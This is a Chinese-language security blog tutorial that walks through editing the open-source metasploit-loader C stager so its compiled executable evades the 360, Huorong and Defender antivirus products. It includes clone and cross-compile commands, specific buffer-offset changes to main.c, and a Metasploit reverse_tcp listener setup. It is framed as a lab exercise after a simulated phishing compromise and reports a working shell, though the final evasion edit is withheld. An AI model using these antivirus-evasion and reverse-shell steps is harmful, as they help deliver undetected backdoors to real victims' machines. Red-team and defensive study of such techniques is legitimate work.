freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基免杀篇:MSF-loader底层分析免杀过360
2021-01-22 14:24:05

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

metasploit 是一款开源的安全漏洞检测工具,这款免费的工具在渗透圈子中广泛使用着,Metasploit Framework (MSF) 在 2003 年以开放源码方式发布,是可以自由获取的开发框架。而 Metasploit 框架兼容C编程语言。

Metasploit-Loader是使用 Metasploit 开源源码利用C语言编写的一款快速的stager客户端,在平时渗透测试或者HVV中,经常会遇到对方终端安装了各类的杀软,导致无法获得权限进行下一步渗透操作,那么Loader源码在八年前就已经公布在github上了,那么如今基本上大部分知名度杀软都能秒杀该模块。

这个模块生成的后门,不仅支持多种平台,如此热门的红队模块,如今我将带大家进行Loader底层分析C语言如何免杀过360、360杀毒、火绒和deferencer四件套主流杀软的。

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.175.145

系统:kali.2020.4

windows 2019系统是黑客用于C编程制作免杀Loader的系统。

VPS服务器:

此次模拟环境将直接越过VPS平台,已成功在VPS上进行了钓鱼行为。

办公区域:

系统:windwos 10

IP:192.168.2.142

存在:360、360杀毒、火绒、deferencer

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用Loader模块底层分析生成免杀exe,并控制对方的过程。

三、环境部署

kali 2020.4:

将 metasploit-loader 源代码下载到本地:

1611296879_600a706fdfe5eb46d414a.png!small?1611296881041

https://github.com/rsmudge/metasploit-loader

安装下载到kali:

1611296891_600a707b879939f09f3a8.png!small?1611296901312

git clone https://github.com/rsmudge/metasploit-loader.git

根据图片查看,已下载好loader模块源码,也打开了metasploit-loader/master/src/main.c,接下来将分了几种场景如何一步步的进行免杀过360等杀软的演示操作。

四、Main.c初步源码免杀

1、修改源码

1611296908_600a708cc4cb417ebaa0e.png!small?1611296913096

这需要删除和修改红框中的信息,删除的红框信息是删掉建立Socket的握手包代码,将握手信息指定修改到argv[1]...中。

1611296921_600a70994c33b2dce1c83.png!small?1611296925176

修改完成后如上图,双引号引入监听IP,然后加端口即可。

2、安装编译器mingw-w64

1611296928_600a70a04b00931134dca.png!small?1611296934495

需要在kali上安装mingw-w64编译器,需要安装几分钟,主要用于编译为exe文件能够稳定在windows系统执行。

sudo apt-get install mingw-w64

1611296935_600a70a7ca3c3c42174bc.png!small?1611296939102

我这安装了6分多钟完成。

3、初次编译

1611296943_600a70af665a0389a74d6.png!small?1611296946633

i686-w64-mingw32-gcc main.c -o dayu.exe -lws2_3
初次编译报错了,提示是winsock2.h需要调整下。

1611296958_600a70be411fbf2800bd6.png!small?1611296960529

#include <winsock2.h>
#include <windows.h>

那这需要将代码上下互换位置即可。

1611296969_600a70c94a3c64e66f507.png!small?1611296970129

成功编译dayu.exe文件。

4、初次使用

1611296976_600a70d0a8232eaf8dd2c.png!small?1611296979711

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.175.2
set lport 6666
exploit -job

使用metasploit的Msfconsole开启监听,成功开启。

1611296984_600a70d8d6878e93d18bc.png!small?1611296987565

初步测试全球免杀率是25/69,经过初步修改还是挺多杀软查杀,说明该方法已经很多人都使用过了,不慌继续往下带大家继续免杀,这是一个过程。

1611296995_600a70e3f2d9dc898c1b4.png!small?1611296996685

此方法在去年还是可以过杀软的,如今360和火绒都秒杀了该模块生成的dayu.exe文件。

1611297010_600a70f28a7d0186118ac.png!small?1611297014515

这儿可看到此方法编译C是没问题的,也能上线,但是经过小小的修改已经无法免杀杀软了,继续修改达到最终目的!

五、Main.c中级源码免杀

1、环境配置Dev-Cpp

Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe下载:

链接: https://pan.baidu.com/s/1pwUZzWtzyJUqK_HWEKdAXA 密码: 617u

1611297019_600a70fbada2544f8eb23.png!small?1611297020205

下载完成后选择English默认安装即可。

1611297025_600a7101495ced5cde0d9.png!small?1611297027991

安装完成打开,根据语言选择即可Next。

1611297032_600a71081f382ff4ea262.png!small?1611297035057

选择新建-项目,以及右上角选择64-bit。

1611297038_600a710e4d74271e5033f.png!small?1611297039971

点开项目后,选择C项目,类型选择Console Application,名称填入dayu即可。

1611297045_600a71157c807a2135e3e.png!small?1611297051945

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

项目确认后,将代码放入,先保存一次,这里就完成了环境安装。

2、底层分析调试

1611297109_600a715564599ef84072c.png!small?1611297115415
该C模块核心部位就是图中这块内容,意思是先建立一个socket握手包,然后将前四个字节分配到RWX缓冲区中,然后将源代码偏移五个单位,然后将socket值复制到缓冲区中,在将字节读入缓冲区中,最后执行DLL Main。

1611297116_600a715cd1a681390c1e7.png!small?1611297119712

1)size + 5改为size + 10
2)buffer[0] = 0xBF; 改为 buffer[0] = 0x48;
3)添加buffer[1] = 0xBF;
4)buffer + 1, &my_socket, 4 改为 buffer + 2, &my_socket, 8
5)buffer + 5 改为 buffer + 10

那么这里熟悉下,以倍数增长的模式调整下缓冲区,这里将修改偏移量偏移改为10位,添加buffer,并偏移量bf改为48,随着偏移量变动buffer和socket位置也需要调整为2和8,最后读入缓冲区的位置也改为10。

1611297126_600a71665a2d999947758.png!small?1611297127634

修改完成后,选择工具-编辑器选项。

1611297132_600a716cd8e11919e213c.png!small?1611297135201

选择TDM-GCC 4.9.2 64-bit Release在连接器命令行中添加-lws2-32即可。

1611297143_600a71774d2487f254a78.png!small?1611297144610

最后选择运行-编译即可。

1611297151_600a717f8a67f840db158.png!small?1611297156071

可看到成功编译,这里只是理解了核心区域,修改了socket缓冲区的位置,看看是否会进行免杀和上线情况!

3、中级免杀情况

1611297160_600a7188ca50c4c0d304b.png!small?1611297163689
可看到全球免杀率27/71比初步调试的方法免杀率还低!!不慌继续往下!

1611297169_600a7191422162ee11852.png!small?1611297186594

这里确定了两点:
1)此方法能过火绒了
2)此方法编译没问题,直接上线了
但是通过修改缓冲区偏移量还是无法过360和360杀毒,依旧被秒杀,还是未达到目的,继续进行底层分析修改。

六、Main.c终极源码免杀

这里就不分类了,环境也在三、四、五类详细说明了,目前已经知道的信息是经过初步分析修改socket指定IP和端口,以及中级阶段分析修改缓冲区偏移量,知道了如何分析和修改底层信息,接下来继续尝试360和360杀毒到底是因为什么查杀了该模块编译的exe文件。

1611297179_600a719b3990b54782124.png!small?1611297188747

来到最顶端的作者注释信息,删除掉注释!

1611297184_600a71a07dc07564df552.png!small?1611297188748

将初步和中阶段两种方法结合,修改socket为指定IP+端口。
这里我将缓冲区继续扩大,偏移量从原有的5改为15(这是个思路),然后根据调整buffer值,继续扩大。

1611297190_600a71a674d7aa4345c8e.png!small?1611297194455

该图可看到,还将所有的作者注释都去掉了,成功生成dayu.exe,继续进行测试!结果还是无法过2021年1月最新360和360杀毒!!

这里思路和底层分析是没问题的,修改思路也告诉大家了,已过火绒的情况下,测试360和360杀毒到底是查杀了main.c的哪个特征码进行查杀的!

1611297197_600a71adb2ff3d96ad6aa.png!small?1611297222152

接下来的修改我就不写出来了(留口饭吃),经过下一步的终极修改(还是在上图大红框中修改),最终360、360杀毒、火绒、deferencer全免杀了。

1611297204_600a71b46474e3a9afb3f.png!small?1611297222153

成功上线,上线后操作命令以及放着等待十几分钟后,杀软还是未报毒和中断该shell。

七、总结

目前网络基本很少msf-loader的免杀思路,有的思路也是很早以前的了,也无法在如今过杀软,但是该工具在在红队渗透工具箱中还是必备工具之一,免杀就起到了至关重要的点。

在这我只是引入们,如何分析这款工具,以及如何进行修改编译,引进门后有很多很多方法可以进行调试二次编译,知道底层的信息后更好的理解如何修改免杀,这里主要讲解的是思路,其次是方法!打造自己专属的main.c免杀模块,如今无免杀无内网!多一种方法,在今后红队内网渗透中多一份有力的工具。

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试 # 免杀
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录